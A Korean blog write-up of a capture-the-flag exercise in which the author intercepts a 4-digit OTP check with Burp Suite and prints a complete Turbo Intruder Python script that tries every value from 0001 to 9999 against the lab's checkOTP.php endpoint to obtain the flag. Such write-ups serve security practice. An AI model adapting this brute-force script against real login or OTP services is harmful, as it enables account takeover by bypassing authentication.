320x100

 

 

숫자 4자리를 입력값을 통해 접속이 가능하다는 것을 확인 할 수 있다.

 

랜덤의 숫자를 입력하고 burp suite으로 proxy Intercept

 

 

otpNum 에 brute force 공격을 하면 접속이 가능할 것 같다.

brute force 대입 공격을 할 특정값을 드래그 한 상태로 오른쪽 클릭

→ Send to turbo intruder

  • turbo intruder를 사용하기 위해서는 extension을 설치해야함

 

def queueRequests(target, wordlists):    #기본값
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1, #속도
                           requestsPerConnection=100, #속도
                           pipeline=True) #속도
    engine.start() #엔진시작

    for i in range(1, 10000): #범위 설정
        otp = '{:04d}'.format(i) # 0000 네자리 숫자 입력가능하게 포멧 설정 ex 0001,0002

        req = """GET /6/checkOTP.php?otpNum={} HTTP/1.1 
Host: ctf.segfaulthub.com:1129
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=0q8q7ovkkdq5d08due38a0emma
Connection: keep-alive

""".format(otp) 

        engine.queue(req)

def handleResponse(req, interesting):
    otp = req.request.split('otpNum=')[1].split(' ')[0]
    print('[*] OTP: {}'.format(otp))
    print('[*] Status:', req.status)
    print('[*] Preview:', req.response[:100])
    table.add(req)

 

brute force attack 실행화면

(이 화면에서 status가 redirection 인 것을 찾으려고 했지만, 모두 200 OK 만 나와서 헷갈렸다)

 

 

공격이 정상적으로 돌아간 것을 확인 한 이후

다시 burp suite 으로 돌아가서 forward 를 누른다.

 

 

그러면 아래와 같이 Flag 획득 가능

 

300x250

+ Recent posts